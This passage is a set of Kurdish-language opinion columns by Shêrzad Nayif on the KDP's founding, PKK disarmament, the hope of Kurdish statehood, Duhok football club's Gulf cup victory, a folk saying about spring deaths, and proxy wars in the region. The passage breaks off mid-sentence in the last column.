شێرزاد نایف

وه‌كهه‌ڤیا پارتی دیمۆكراتی كوردستان ب داربه‌ڕویێ‌ وه‌سفه‌كا گه‌له‌ك ژیرانه‌یه‌، كو ژ لایێ‌ سه‌رۆكێ‌ ڤێ‌ حزبێ‌ ڤه‌ هاتیه‌كرن، ئه‌ڤرۆ ب هه‌لكه‌فتا بیره‌وه‌ریا دامه‌زراندنا وێ‌ ڤه‌، دبیته‌ زه‌مینه‌كا گه‌له‌كا به‌رهه‌ڤ بۆ تۆماركرنا ئه‌ڤێ‌ مژارێ‌ د ناڤ رۆپه‌لێن ڤێ‌ رۆژنامه‌یێ‌ دا، چیرۆكا سروشتی یا چیرۆكا ڤێ‌ دامه‌رزاندنێ‌ بیرا مه‌ ل وان هه‌می پێنگاڤ و قۆناغان دئینیت، یێن كو پارتی تێدا هاتیه‌ هه‌بوونێ‌!. ل ده‌سپێكا چاندنا ئه‌ڤێ‌ دارێ‌ جۆره‌كێ‌ ره‌سه‌ن ژ (نه‌مامكێ‌ ـ شتلێ‌) هاتبوو ژێگرتن، كو ژ خۆزاییا ده‌ڤه‌رێ‌ هاتیه‌ و دانه‌رێ‌ وێ‌ ژی ژ ناڤ كۆمارا كوردستان ـ مهابادێ‌ دا ئینایه‌ دی، كو ل 16 ته‌باخا 1946 پارتی دیمۆكراتی كوردستان ل وێرێ‌ هاتیه‌ دامه‌زراندن و هه‌ر ل وێرێ‌ ژی وێرسێ‌ خه‌باتێ‌ و هه‌لگرێ‌ ئالایێ‌ وێ‌ حزبێ‌ په‌یدابوویه‌ و چاڤێن خۆ ل دونیایێ‌ ڤه‌كرینه‌، ل مهابادا مێژوو كو ئه‌و ژی سه‌رۆك مه‌سعود بارزانی یه‌، كو هه‌ر ل گه‌ل برایێ‌ خۆ یێ‌ مه‌زن شه‌هید ئدریس بارزانی ملێ‌ خۆ داینه‌ به‌ر ئه‌ڤی ئه‌ركێ‌ مه‌زن پشتی وه‌غه‌را بارزانیێ‌ مه‌زن، هه‌روه‌كو پاكێچه‌كا خودایی بوو كه‌فتیه‌ د ناڤ ڤێ‌ دۆزێ‌ دا و وه‌كو زه‌ره‌وره‌ته‌ك ب سیسته‌مه‌كێ‌ سیاسیی یێ‌ دیمۆكراسی و گونجای ب جۆره‌كێ‌ لیبرالیه‌كا ژێگرتی سه‌ركه‌فتن ئینا، شیا مینا په‌لگازكێ‌ په‌لان رابكه‌ت و نه‌سۆژیت، د ناڤ زه‌ڤیا ئه‌لغامان دا ده‌رباز دبیت و ب سلامه‌تی ژێ‌ ده‌ردكه‌ڤیت. ئه‌ڤێ‌ دارێ‌ ره‌ه و رویشالێن وێ‌ مابوون پشتی ڤه‌گه‌ریانا بارزانیێ‌ باب ژ ئێكه‌تیا سۆڤیێتێ‌ و ب سۆتنێ‌ و بڕینێ‌ نه‌هاتبوو ژناڤبرن و بارزانیێ‌ نه‌مر و هه‌ڤالێن خۆ 12 سالان ل وه‌لاتێ‌ په‌نابه‌ریێ‌ ته‌ڤلی خواندنا چاوانیا چاندنا وێ‌ دارێ‌ ببوون ژ پشته‌ڤانیا له‌شكری و مه‌شق و راهێنانان و فێربوونا زانستێ‌ سیاسه‌تێ‌، پاشی وه‌رزێ‌ چاندنێ‌ ل سالا 1958 زه‌مینه‌ بۆ وان ره‌ه و ریشالان خۆشبوو، پاشی ب وێ‌ ره‌نگێ‌ باش یێ‌ كو لێكۆلینێن چاندنێ‌ ته‌كه‌زیێ‌ ل سه‌ر دكه‌ن كو ره‌هێن وێ‌ باش ب ئاخێ‌ بهێنه‌ نخافتن، هه‌مان شێوه‌ ل بن كه‌پرا پارتی ملله‌تێ‌ كورد كۆم ڤه‌بوو، ره‌نگڤه‌دانا به‌رهنگاریبوونێ‌ ژی شۆره‌شا ئیلۆنێ‌ بوو كو هه‌می ره‌خ و چانێن كوردستانێ‌ ب خۆڤه‌ گرتبوون و بارزانیی نه‌مر بوو سه‌ركێشێ‌ وان مینا وێ‌ سه‌خبێریا سروشتی یاكو ئه‌و دارا به‌رێ ئه‌و ئارمانج ژێ‌ ده‌ركه‌فتن.

شێرزاد نـایف

فەلسەفەیا ئاشتیێ‌ و بدەستڤەئینانا ئاشتیێ‌ گەلەك رویێن خۆ یێن جۆرە و جۆر هەنە و هەر كەسەكی هزرەكا جوداترە ژ یێ‌ دی هەبوویە، یێ‌ هەی دبێژیت یێ‌ ئاشتیێ‌ بخوازیت رامانا وێ‌ ئەوە كو شەری وی نەكەی یێ‌ ئاشتیێ‌ دخوازیت. یێ‌ هەیی دبێژیت رامانا ئاشتێ ئەو نینە كو شەڕ نەمینیت، چونكو هەتا هەتایێ‌ ناكۆكی هەیە. لێ‌ ب گۆرەیێ‌ مەرەما چەك هلگرتنا كوردان ب شێوەیەكی گشتی، بۆ خۆ پاراستنێ بوو، هەروەسا ناچاركرنا دەسهەلاتا دەولەتێ كو بهێتە سەر میزا دانوستاندنێ‌ و دەستپێكرنا پێڤاژۆیا چارەسەریا دیموكراسی.
پەكەكێ ب بڕیارا چەكدانان و خوە هەلوەشاندنێ، بڕیارەكا پێدڤی دا و باشترە ببێژین، گونجایترین بڕیار و هلبژاردە بوو ژ بۆی دەستپێكرنا پێڤاژۆیا چارەسەركرنا دۆزا كوردی ل باكوور ب شێوەیەكی یاسایێ فەرمی.
لێ ب دیتنا نڤیسەرەكێ‌ كورد ل ئەلمانیا (ئازاد بەرواری) كو د گۆتارەكا خۆ یا ب مانشێتێ‌ (بەنیشتێ‌ رۆژنامەگەریێ‌) ئاماژە ب بابەتەكێ‌ وەسا دابوو كو ل تویتەكا خۆ ژی دا دبێژیت؛ دا پتر د جهێ خۆ دا بیت، كو ئەڤ وەرچەرخانا دیرۆكی ب شێوەیەكی هاتبا بەرهەڤكرن و ئەنجامدان، كو بكاریبا مۆهرا خوە ل ڕۆژەڤا دیرۆكێ بێخینە. بۆ میناك، پشتی خەباتا چەكداریا چل ٤٠ سالان بڕیارا چەكدانانێ هات داین! لێ ئەگەر ژبۆی ڕێزگرتن ل خەباتا چل سالیا چەكداریا پەكەكێ چل پارچێن چەك بۆ پێنگاڤا ئێكێ هاتبان دانان و سۆتن. هەروەسا چەك ژ پارچەیێن جۆراوجۆر هاتبا پێكهاتن؛ بۆ میناك ژ (سیمینۆف – جفتە و گ ٣ و هتد هەتا (ئاڕ پی جی) و هتد. هەروەسا چل شەڕڤان (بیست شەڕڤانێن ژن و بیست شەڕڤانێن خۆرت، ئەڤژی دا بەرسڤەك دیرۆكی بیت ژ بۆی پشكداریا خورت و قیزێن كوردستانێ د خەباتا چەكداریێ دا. لێ ئەگەر دیرۆكا چەكدانانێ هاتبا پاشئێخستن بۆ ١٤تەباخێ؛ دا پڕ ڕامانتر بیت، ژ بەر كو شەڕێ چەكداری ل ١٤هەیڤا ٨ ل سالا ١٩٨٤هاتبوو دەستپێكرن.
مەساجا ڤیدیۆیا بەرێز ئۆجەلان پشتی سالا ١٩٩٩ئەڤ بۆ جارا ئێكێ بوو، تێدا گەلەك خال هاتبوون دەستنیشانكرن، بۆ میناك واتەیا خەباتا چەكداری نەما، ژبەركو هەمی ئارمانجێن مە وەك كوردان دخواستن، وێ بهێت جهبجهكرن ل چارچووڤەیێ (هەڤوەلاتیا مۆدێرن و واتە نویدەم)؛ ئەڤ تێ واتە هندێ كو دەڤەڕا كوردان ل ئالیێ خەلكێ دەڤەرێ بهێنە بڕێڤەبرن. كو توركیا ژ بۆ ٢٥ دەڤەران بهێت پارڤەكرن، ژ وانا ٧ دەڤەر ل ئالیێ كوردان بهێتە بڕێڤەبرن و ١٨ دەڤەر ژی ل ئالیێ توركان ڤە بهێت بڕێڤەبرن. و زمانێ كوردی ژی ب شێوەیەك فەرمی بهێت ناسكرن و دانپێدان و ب گۆڕەی دەستوورا توركی بهێت پاراستن.
هەژی گۆتنێ یە كو هەتا كو ئەتاتورك د ژیانێ دا، دەولەتا توركی ئێك پارچە و نەپارچەكری بوو. لێ پشتی كو ئەتاتورك مری، سیاسەتمەدڕێن هینگی ل سالێن ١٩٤٠ پێشوازی ل دێلێگاسیۆنەك ئەوڕۆپی و ئەمەریكی كرن، وێ دێلێگاسیۆنێ گۆتە توركان ئەم پسپۆڕێن كەش سەقایێنە، دێ ل گۆڕەی ڕەوشا ئاڤ هەوایێ توركیا دێ توركیا بۆ هەفت دەڤەران هێتە دابەشكرن واتە پارچەكرن ((ئێگە – ماڕماریس – ئاك دەنیز – قەرەدەنیز – ئیچ ئەنادۆلۆ – دۆوو و گەنەی دۆوو)).
(كەنعان ئێڤێڕن) بڕێڤەبەرێ كۆدەتا یا سەربازیا ل مەها ئیلۆنا ١٩٨. ل سالا ٢٠٠٧داخۆیانیەك دا، گۆت توركیا دڤێت بۆ حەفت دەڤەرێن باژێڕڤانیێن خوەسەر بهێتە پارچەكرن. هەروەسا گۆت ئەڤ دیتن و بۆچوونێن من بوون ل سالا ١٩٨٠، دەمێ مە دەسهەلاتا توركیا گرتیە دەستێن خوە، لێ ڕەوشا هینگی یا سیاسی نەیا بەرهەڤ بوو ژبۆ پێنگاڤەكا ب ڤی شێوەیی. ل كۆمبوونێن سەربازیێن هێزا ناتۆ ل ئیاتالیا ئەفسەرەكێ ئەمەریكی بۆ جارا ئێكێ نەخشەیەكا ڕۆژهەلاتا ناڤین بەلاڤ كر كو تێدا كوردستان ب هەرچار پارچەیێن خوەڤە ب ئاشكەرایی هاتبوو دەستنیشانكرن. هەروەسا ل یۆنانستانێ ژی ل كۆمبوونەكا سەربازیا نهێنی یا ناتۆ هەمان نەخشە یا ڕۆژهەلاتا ناڤین هاتبوو بەلاڤكرن كو تێدا كوردستانا مەزن ب ئێك پارچەی هاتبوو دەستنیشانكرن. ڤان جۆرە نەخشەیان ڕەوشا دەروونیا ئەفسەرێن توركی، تەڤلهەڤ كربوو و ببوو سەدەما گفتوگویێن سیاسی یێن خورت ل میدیا توركی دا.
لێ بالكێشتر ئەوە كو كو سەرۆك كۆمارێ توركیێ ڕەجەب تەییب ئەردۆگان ژی ل سالا ٢٠١٣ب ئاشكەرایی گۆت كو ل سەردەمێ دەسهەلاتداریا ئۆسمانیان دا ڕێڤەبەریا دەولتێ ل سەر دەڤەران هاتبوو پاڕڤەكرن، بۆ میناك دەڤەرا كوردستان/دەڤەرا لازستان واتە دەڤەڕا بەر كەنارێ دەریا ڕەش و.. هتد.
لێ ڤان گوهۆڕینێن كو دهێنە پێش ل باكوور و ل ڕۆژئاڤا، هەروەسا پێنگاڤ ب پێنگاڤ ل ڕۆژهەلات ژی، ب پرانیا ڤان هەمی گوهۆڕینان هەڤلێرا پایتەختە، واتە دەڤەڕا مەیە ل هەرێما كوردستانێ ئانكو باشوور. ئەڤ چەندە ژی ئێك ژ بەندێن هەری گرنگ یێ ستراتیجی و پەیرەو و پرۆگرامێ پارتی دئینیتە بیرا مە. كو پارتی ل كۆنگرەیێ خۆ یێ‌ نەهێ بۆ ڕابەرایەتیا شۆڕەشا گولانا پێشكەفتنخواز ب ئاشكرای و دویربینیەكا خوەدی ئەزموون؛ داكۆكی ل سەر هندێ كریە كو پارتی د بزاڤا خۆ یا شۆڕەشگێڕی دا دو ئارمانج هەنە. یا ئێكێ خەباتە ل چارچووڤێ ئاخا كوردستانا ئیراقێ، بۆ ب دەستڤەئینانا مافێن ڕەوایێ گەلێ كوردستانێ. هەروەسا ئامانجا وی یا دووێ ئانكو یا دویر، پشگیری و هاریكاریكرنا خەباتا گەلێ مە یە ل پارچێن دن یێن كوردستانێ بێ كو دەستێوەردانێ ل بڕیاڕا وان یا سیاسی بكەت، بەلكو ڕێزگرتن ل بڕیارا ڕابەرایەتیا وان پارچێن دن یێن كوردستانێ كو چاوا بڕیار ل چارەسەریا پرسگرێكا كوردستانێ دكەن ل گەل دەسهەلاتا مەركەزی.
بەری كو پەكەكە ل دەستپێكێ دەست ب شەڕێ چەكداری بكەت، ب دەستپێشخەریا پارتییا مە و بڕیاڕا سەركردایەتی و ڕابەرایەتیا جەنابێ‌ بارزانی ژ بۆ ڕاهێنانێن لەشكری و شەڕێ پارتیزانی، پارتی ڕێك ل گەریللایێ‌ نەهێتەگرتن بۆ دەڤەرا ژێر دەسهەلاتا پارتی و شۆڕەشا گولانێ، داكو ل گەل پێشمەرگێ كوردستانێ پشكداری ل هندەك چالاكیێن لەشكری بكەن، داكو فێرببن چاوا ل باكوور دەست ب شەڕێ چەكداری بكەن. هەر ب دیتنا وی نڤیسەرێ‌ ناڤبری دبێژیت كو واتە پارتی ڕۆلێ خۆ یێ دیرۆكی ب ئەمانەت و ب پەرسیارەتی لەیزی، ل دەمێ پێدڤی دەستپێشخەربوو بۆ شوڕەشا باكوور بۆ دەستپێكرنا خەباتا چەكداری، نها ژی دەستپێشخەر و پشتەڤانە بۆ چەكدانانێ، هەروەسا ل ڕۆژئاڤا ژی ل دەمێ تەنگاڤیان شەڕێن ل كۆبانێ ل دژی (تیرۆریستێن داعش) پێشمەرگەهێ باشوور ب بڕیارا ڕابەرایەتیێ ڕۆلەكێ دیرۆكی یێ هەری ب ڕومەت لەیستن و ب ئەركێ خۆیێ نیشتمانی ڕابوون ل گۆرەی ستراتیجی و پەیڕەو و پرۆگرامێ پارتی دیموكراتی كوردستان. كو ل دەمێن تەنگاڤ دا پشتەڤانێ برایێن خوە ل پارچێن دن یێ كوردستانێ كر، لێ بێ كو زالدەستی ل سەر بڕیارا وان یا سیاسی بكەت. ڕێز ل بڕیارا سیاسی یا دەڤەرێن دن یێن كوردستان ب بەرپرسیاریەتیەك مێژووی دگریت، لەوما هەرێما كوردستانێ بوویە جهێ باوەریێ ژبۆ چارەسەرا سیاسی ل سەر ئاستێ ناڤخۆ و ئیقلیمی و نێڤنەتەوی دا.

شێرزاد نـایف

ئەز ل گەل وان كەسان نینم یێن دبێژن كوردستان تنێ‌ (خەونا هندەك نەتەوەخواز و شاعیرانە..)؛ لێ‌ (خەون هەبوونەكا دیترە، كو سەرەرای تاڕاتیێ‌ ئەم تێدا زێندی دبین، گەر خەون نەبیت گیان دمریت) ب گۆتنا (جان پۆل ساڕتەر). ئەڤجا هەبوونا خەونا مە ب دەولەتا مە یا سەربخۆ ڤە، نە تنێ‌ هزرەكە و دەربازبۆیە، بەلكو جەوهەرێ‌ هەبوونا مەیە، تۆڤەكە ئەڤرۆیا مە پێ‌ شینبوویە و پاشەرۆژا مە ل گەل مەزن و وەرار بوویە. سەرەراری هەر تشتەكێ‌ كو ل ڤی وەلاتی رووددەت و ب سەری بهێت، وەلات ل بەر دلی رەش ببیت، چونكو دوژمنێ‌ مە یێ‌ مەزنە، دوژمنێ‌ مە گەلەكە.. دوژمنێ‌ مە یێ‌ جۆری یە، دەروونا مە گەهاندیە ڤی رادەی كو وێ‌ بكەن و بدەستڤەبینن یا كو وەلاتی ل بەر دلێ‌ مە رەش بكەن!. لێ‌ جەوهەرێ‌ هەبوونا مە چ دبێژیت؟ مادەم كو گەنجێ‌ مە و زارۆیێن مە مێژوویا گەش یا كوردی دخوینن و داستانێن شەهیدێن مە یێن ب خوینا خۆ؛ ئەڤ ئەردە ئاڤدایە كو ئازادی لێ‌ بهێتە چاندن و خواندیە كو ئەڤ خوینە ب هەروە نەهاتینە رێتن، لێ‌ ئەو سامانەكە و هەژار نابیت، رامانا هەبوونا مە دسەلمینیت، چەندی دەنگێ‌ زۆریێ‌ ل بەرانبەر مە بلند ببیت لێ‌ ئیهاما خەباتێ‌ ددەتێ‌، ئەڤ خەونە نامریت، هەروەكو رابەرێ‌ كورد (بارزانی) گۆتی كورد مینا داربەروویێ‌ یە…
باب و باپیران نیشا مە دایە كو هەر ئەڤرازیەكێ‌ نشیڤەیەك دویڤ دا هەیە، ب گۆرەیی گۆتنا (فردێك نیتشێ‌) كو «تاڕی رامانا وێ‌ ئەو نینە كو رۆناهی نەمایە، بەلكو هێزەكە راستیێ‌ پێ‌ دڤەشێریت» ل هەرێما كوردستانێ‌ ئەڤرۆ، هندەك ژ هێزێن ناڤخۆیی هەنە بێهنا كەربێ‌ ژێ‌ پەشیت، وەكو تاڕاتیێ‌ ل بەرانبەر رۆناهیێ‌ پەیدا دكەن و هەڤڕكیێ‌ ل گەل وێ‌ خەونێ‌ دكەن، رێرەوا خەباتێ‌ تێكددەن، خۆدیكا رۆناهیا وەلاتی دشكێنن. ناكۆكییان مەزن دكەن، كو قەوارەیێ‌ حوكمرانیێ‌ لاواز بكەن، لایەنگیریا دەرەكی باش تێدا دیار دكەت و بریارا كوردستانی درۆخینن كو بۆ بەرژەوەندییا وان تەرخان ببیت، لەورا ئیرادەیا ناڤخۆیی دكەنە كالایەك بهێتە كڕین و فرۆتن.
چارەنڤیسەكێ‌ نەرێنی یە یان دەسپێكا گوهۆرینەكا مسۆگەرە؟
ئیمانۆئێل كوانت دبێژیت كو (بێزاربوون ب تنێ‌ قۆناغەكە ژ قۆناغێن هیڤیبوونێ‌)، سەرەرای هندێ‌ كو واقعێ‌ سیاسی و ئابۆری ل هەرێمێ‌ یی تووشی هێرش و هەرەشەیان دبیت و باندۆرا خۆ ل سەر خەونا تاكێ‌ كورد دكەت، لێ‌ ئەو خەون چو جاران نامریت، بەلكو دەرگەهێ‌ پسیاران ل بەر جۆرێ‌ خەباتێ‌ ڤەدكەت و ئەو فاكتەرێن خەونێ‌ راستەرێ‌ دكەن و ب هێز دئێخن. چونكو دۆخێ‌ سەختێ‌ نها دوماهییا دونیایێ‌ نینە، بەلكو دەسپێكا هەبوونەكا نوویی یە، ئیرادەیا مللەتی یا دهێتە تاقیكرن و مەزناهییا مرۆڤی د بەرهنگاربوونێ‌ دا و ل بەر برسێ‌ دیاركەت.
ل دووماهیێ‌ خەونا دەولەتا كوردی وەكو هەبوون و وەكو كریار، نە تنێ‌ هزر و بیرۆكەیە بەلكو كریارەكا هەبوونێ‌ یە د ناڤا خەباتێ‌ و هەستا مرۆڤی دا دیار دبیت. بەرهنگاربوونەكا بەردەوامە ل دژی زۆڕیێ‌ و گەندەلیێ‌ و تەكەزییە ل سەر جێبەجێكرنا ئازادیێ‌ سەرەرای هەمی ئاستەنگان. ئەم ئەڤرۆ پێدڤی ئێكرێزییا راست و دروستین، كو فەلسەفا ژیانێ‌ ژ مێژوویا خۆ وەربگرین، و هێزا گوهۆرینێ‌ و خۆڕاگریێ‌ ژ خەونا خۆ وەربگرین هەروەكو سقرات دبێژیت» ئەو ژیانا نەهێتە تاقیكرن، هەژی هندێ‌ نینە كو بمینیت», ئەڤجا خەونا كوردی سەرەرای هەمی باهۆز و بارۆڤەیان، ئەو تاقیكرنا هەبوونا وانە سەرەرای تاراتیا تۆنێلێ‌ لێ‌ هەر دێ‌ رۆناهیێ‌ بینیت.

شێرزاد نایف

یانەیا دهۆك هەلگرا تاجا قارەمانا جاما كەنداڤی یا ئەڤرۆ، پەیامێن گەلەكێن گەرم و گۆڕ و ب هێز گەهاندنە تەڤ جیهانێ‌، بۆچی ب هێز؟ چونكو وەرزش هێزە.. گەنجەكە ل دویڤ مەرجێن (فیفا) یا نێڤدەولی دڤێت د قووناغا ژیەكێ‌ بچویك دا بن كو د بوهارا ژیێ‌ خۆ دا بن، ئەڤجا گەنجێن یانەیا مە د بوهارا ژیێ‌ خۆ دا پەیامەكا ب هێز ب پشتەڤانیەكا باهۆزەكا مەزنا جەماوەرێ‌ هایدار دا، گەهاند كو پەیاما مە نەك ب تنێ‌ وەرزشە لێ‌ هندەك پەیامێن نەتەوەخوازی نشتیمانپەروەری هەنە، دیرۆكینە، یا ب هێزە دڤێت هەمی بزانن و ببینن، بزانن (كینە ئەم؟)، ل دەمەكی كو ناڤێ‌ مە د ناڤ چو بەحس و خەبەران دا نەبوون، كەسێ‌ ناڤێ‌ نە دهۆكێ‌ و نەكورد و نە كوردستانێ‌ نە دئینان، بیرا مە دهێت ل دەمێ‌ ئەم د بچویك ل سالێن حەفتێان و هەشتێان دا، وەختێ‌ ناڤێ‌ كوردان هاتبا گۆتن، بەس هاتبا گۆتن تەنانەت خەبەر ژی گۆتبانە، بەس ناڤ هاتبا ئینان كەیفا مە دهات، دەمێن تلفزیۆنا ئیراقێ‌ ناڤێن دەرمانخانەیێن نۆبەردا دخواندن، دوماهی ناڤ یێ‌ (دهۆك) بوو، جاران ژی هەر نەدگۆت، وەسا پەراوێز دكر، كو هەبوونا خۆ هەر نەبوو، ژلایێ‌ وەرزشی ژی ڤە، یاریزان هەبوون، كەسێن ژێهاتی هەبوون، لێ‌ پشتەڤانی نەبوو، غەدرەكا سۆر و سۆر هەبوو زەمینە لێ‌ خۆش نەدكر، لێ‌ پشتی كو ئەڤرۆ ئازادی ب دەست مە كەفتی و هەناسەكا باش هاتیە كرن، ب خەمخۆری و دلسۆزیا كەسێن هەژی ئەڤ دەلیڤا بچویك ڤەبوو، و تیشكەكا رۆناهیێ‌ ل سەر دونیایێ‌ ڤەبوو و شیایین سەركەفتنێ‌ و پەیاما نەزاهەتێ‌, مەزلۆمیەتێ‌ تۆمار بكەین و نیشا هەمی دونیایێ‌ بدەین و هێشتا ژی مایە دێ‌ سەركەفتنێ‌ د هەمی سەكتەرێن ژیانێ‌ دا ژمارەیا ریكۆرد شكێنیت، د گەل وێ‌ پەیامێ‌ دا ژی ئەو جوانی و سەردەریكرنا مرۆڤاتی و مەردینی و دلێ‌ مەزن نیشا جیهانێ‌ دا.. دهۆكێ‌ و جەماوەرێ‌ دهۆكێ‌ نیشا دا كو هزاران حەشدێن جەماوەری هەمیان و تەڤ هەمیان ئێك دل هەیە.. جەماوەرێ‌ هاندەرێن دهۆكێ‌ نیشا دا كو هەمیا ئێك دل هەیە.. ئەو دل شیا هەناسەیا تیما خۆ بڤەژینیت و ب هێز خۆ بقوتیت و نەزانیت ماندیبوون چیە، مەحال نینە بەربەست هەمی ل هەمبەری وێ‌ ئیرادەیا گەرم و گۆڕ خۆ بگریت، مینا ئیرادەیا ئاڤێ‌ تشتەك خۆ ل بەر سینگێ‌ خۆ ناگریت هەمی بەربەستان دپەقینیت و هەبوونا خۆ یا جوان رادگەهینیت!.

شێرزاد نـایف

وەكو پەندەكاكوردەواری یا كەڤنە، مە ژ دایك و باب و باپیرێن خۆ بهیستیە، دبیت ئەڤە گۆتنە ژ ڤالاهی و چونەیێ‌ نەهاتبیت، لێ‌ وەكو داڤەكێ‌ یە پێ‌ بگەهینە سەدەم و بۆیەرێن دیرۆكی یێن كو ئەو تێدا دەرباز بووین، ب شێوەكێ‌ زانستی بەرێ‌ خۆ بدەینێ‌، نەكو هەما وەكو چیرۆك و چیڤانۆك!. ئەڤجا مژارا مە دو بیاڤان ب خۆڤە دگریت، ئەو ژی ساخلەمی یە و هەر وەسا ژی مێژووییە، راستە تایبەتمەندیا من نینن، لێ‌ ئازراندنا هەمی بابەتان ئەركێ‌ رۆژنامەڤان و نڤیسەرایە، چونكو ئەز نە دختۆرم بەلی دختۆر دبێژن هەر كەسەك دختۆرێ‌ خۆیە، من ژی هزر د بابەتێ‌ مرنا ئادارێ‌ دا كر، كا بۆچی وەدگۆتن؟ من بۆچوونا بۆ هنگۆ ئێخستە روو، ئەو ژی كو دبیت نە خەتایێن بوهارێنە، لێ‌ خەتا و بناسێن زڤستانێنە، وەرزێ‌ سوباتێ‌ یە (لەورا شوات ـ سبات تێدای) و لڤین تێدا نینە، هەمی زیندەوەر دكەڤن سباتێ‌، نەمازە لڤین نهێنیا هەبوونا ژیانێ‌ یە، ساخلەمی و هەمی چارەسەریێن نەخۆشییان حەزژ وەرزشێ‌ و لڤینێ‌ دكەن، مرۆڤ ژ بەر سەرمایێ‌ و دەرنەكەفتنێ‌ دمینیتە د مال دا، چەوەری پەیدا دبیت، ئەڤە ژی زێدەباری هندێ‌ كو وەرزێ‌ هاڤینێ‌ وەكو ساونایێ‌ یە چەوەریێ‌ ژ لەشێ‌ مە دحەلینیت هەكە لڤین نەبیت ژی! و ساخلەمیا مە باش دكەت و مرنێ‌ نابێژم كێم دكەت بەلێ‌ دبیت پاش دئێخیت و گیرۆ دكەت و ل وەرزێ‌ بوهارێ‌ رادوەستینیت!
ئەڤ نەخۆشیێن سەرەكی د ناڤ خەلكی دا د بەربەلاڤ مینا شەكرێ‌ و پەستانا خوینێ‌ و تەنانەت (گەهێن هەستیان ـ فەقەراتان) كو دبیت نە جۆرەكێ‌ نەخۆشییانە، لێ‌ نەخۆشیەكا فیزیۆلۆی ژیە ژی، ئەڤنە هەمی ب وەرزشێ‌ چارەسەر دبن هەتا رادەكێ‌ باش. ڤێجا هینگی ل ژیانا گوندان بۆ كارێن ژیانێ‌ و ژیارێ‌ لڤینێ‌ سەرێ‌ خۆ دخار و چو مكەییف و سپلێت نەبوون وان مرتاح بكەن، پتر ل گەل رێرەوا سروشتی و ژینگەهێ‌ دژییان. ئەڤ بیرۆكەیا من كری پتر ل جەم وان خۆیا دبوو.
تنێ‌ دبیت ب تشتەكی وەرزێ‌ زڤستانێ‌ ژ هاڤینێ‌ باشتر بیت كو ئەو ژی پاقژی یە و سوباتا حەشەراتان و جەراسیمانە ژبەر هندێ‌ سەرشووتن كێمتر لێ‌ دهێت و ل هاڤینێ‌ ژی پتر سەرشووشتن رۆلێ‌ خۆ دبینیت. سەرەرای كو ل زڤستانێ‌ بەرگریا لاشی لاوازترە. ژ لایەكێ‌ دی ڤە خوارنێ‌ ژی باندۆرا خۆ هەیە، ل زڤستانێ‌ خوارنێن (نەشەویات: نیسك و نۆك و نان و شریناهی …هتد) مشە دبن و رۆژ د كورتن هەما دێ‌ سەرتێشتێ‌ و تێشتێ‌ و فراڤینێ‌ و شیڤێ‌ و جاران پاشیڤێ‌ ژی ژ بێكاری دێ‌ پەیدا بن و بێهنا مرۆڤی تەنگ بیت، فێقی كێمتر دبیت، ل هاڤینێ‌ ژی فێقی و زەرزەوات پتر ل بەردەستن. هەردیسا ژی بارێ‌ دەروونی یێ‌ زڤستانێ‌ ژی بارێ‌ ساخلەمیێ‌ گران دكەت ل دەمێ‌ روینشتنێ‌ هزرێن خۆ دكەن و قەهران ب هەمی جۆرێن خۆ ڤە دخۆن كو ل تێلا هەستیار ددەت دیمەنێن عەورێن رەش و تاری بینن و…هتد. ئەڤ پاكێچا تێكچوونێ‌ پتر ل سەر كەسێن دانعەمر دیار دبیت. ئەڤە هەمی فاكتەرە كەنگی ئەنجامێ‌ خۆ بدەستڤە دئینن؟ ل داویا وەرزێ‌ زڤستانی كو دبیتە بوهار، دبیتە ئەگەرێ‌ مالئاڤاهیكرنێ‌، ئەوان ئەڤ هزرە نەدكرن وەكو ئەڤی سەردەمێ‌ مە كو ب ساناهی ئەڤ هەمی پێزانینە ل بەردەست مە دكەڤن ژبەر هندێ‌ دگۆتن خەتایێن بوهارێنە و ل بوهارێ‌ دەڤێ‌ ئاخێ‌ یێ‌ ڤەكریە و پتر مرییان وەردگریت.
ئەڤجا دڤێت بۆ خۆ مفای ژ ڤێ‌ سەربۆرێ‌ وەربگرین و ل زڤستانێ‌ خوارنێن مەزن كێم بكەین و فێقی مشەبكەین و لڤینێ‌ بكەین ، هزرا و خەما نەخۆین دا كو پاترییا ژیێ‌ خۆ ب دینامۆیێ‌ وەرزشێ‌ درێّژ بكەین، ئەڤە بۆچوونێن منن و دبیت ژی وەسا نەبیت، گەر تە بۆچوونەكا دی هەبیت و ئەز ب خێر و هنگ ژی ب سلامەت!.

شێرزاد نـایف

پشتی كو شۆرشا تەكنۆلۆژی ل گوندێ‌ مەزن (ئەردی) بسەركەفتی و چاڤێن دونیایێ‌ ب سۆشیال میدیایێ‌ ڤەبووین و هەر كریارەكا دەخەس كەفتیە سەر بەڕكێ‌، ئەو كریارێن خرابناك یێن ژ لایێ‌ دەستهەلاتێن زلهێز ڤە هاتینە ئاشكراكرن و پەردە ل سەر هاتیە لادان، مینا ئەو تاوانێن ب سەرێ‌ مللەتێ‌ كورد یێ‌ مەزلۆم هاتینە كرن، كو وەسفا هۆڤاتیا وان چو شێوەیەكێ‌ نەهێتەكرن و ئاخ ب سەردا هاتیە دادان، وەلاتێن دەوربەری ئیراقێ‌ چاڤێ‌ خۆ لێ‌ نقاندین و كەسێ‌ میەك ل خۆ شاش نەكری. ژ لایەكێ‌ دی ڤە ژی هەر زولما وان ب خۆ ل سەر وەلاتێن وان ب خۆ ژی پشتی بوهارا عەرەبی دیاربووی، ئێدی بەرێ‌ پیلانێن وان زلهێزان هاتنە گوهۆرین و بۆ خۆ ل ئالاڤێن دیتر گەریان كو ب دزی ڤە و ب ئەكاونتێن نەدیار ڤە هاتنەبكەن، یانژی هەڤڕكیكرنا چاڤێن جیهانێ‌ هاتیەكرن ب هەر شێوازەكی ڤە، نێزیكترین میناك ژی رۆخیانا رژێما بەشار ئەسەدی بوو و ئەو ستەما وی ل خەلكێ‌ سووریێ‌ كری تایبەت ژی مللەتێ‌ كورد. یا ژ هەمیان دژوارتر ژی زیندانا سیدنایا بوویە. لێ‌ ل داویێ‌ هەر راستی بسەركەفت، ئەڤجا پشتی وان هەمی هەتكبەریان ل بەر چاڤێن جیهانێ‌، نوكە یێن ب ماسك دهێن تاوانێن خۆ دكەن و مینا ب كوردی دبێژن: یێن ماری ب دەستێن غەیری خۆ ددەنە كوشتن!. شەڕێن ب وەكالەت دەركەفتن، لڤاندنا پیلێن یاریێ‌ ژ دویرڤە، كو چو زیان ب وان نەكەڤیت نە ب گیانی و نە ب ماددی!. خەلكی ڤێكڕا بەرددەن، كریارێن كوشتنێ‌ و تیرۆرێ‌ ب هندەك لایەنێن دی ددەنە كرن، مینا دروستكرنا رێكخراوا تیرۆرستی یا داعش و لەشكرێن ملیشیاتان یێن گەلەك وەلاتێن دەڤەرێ‌ كو هندەك ژ وان من نەڤێـت ناڤێن وان ئاشكرا بكەم، چونكو 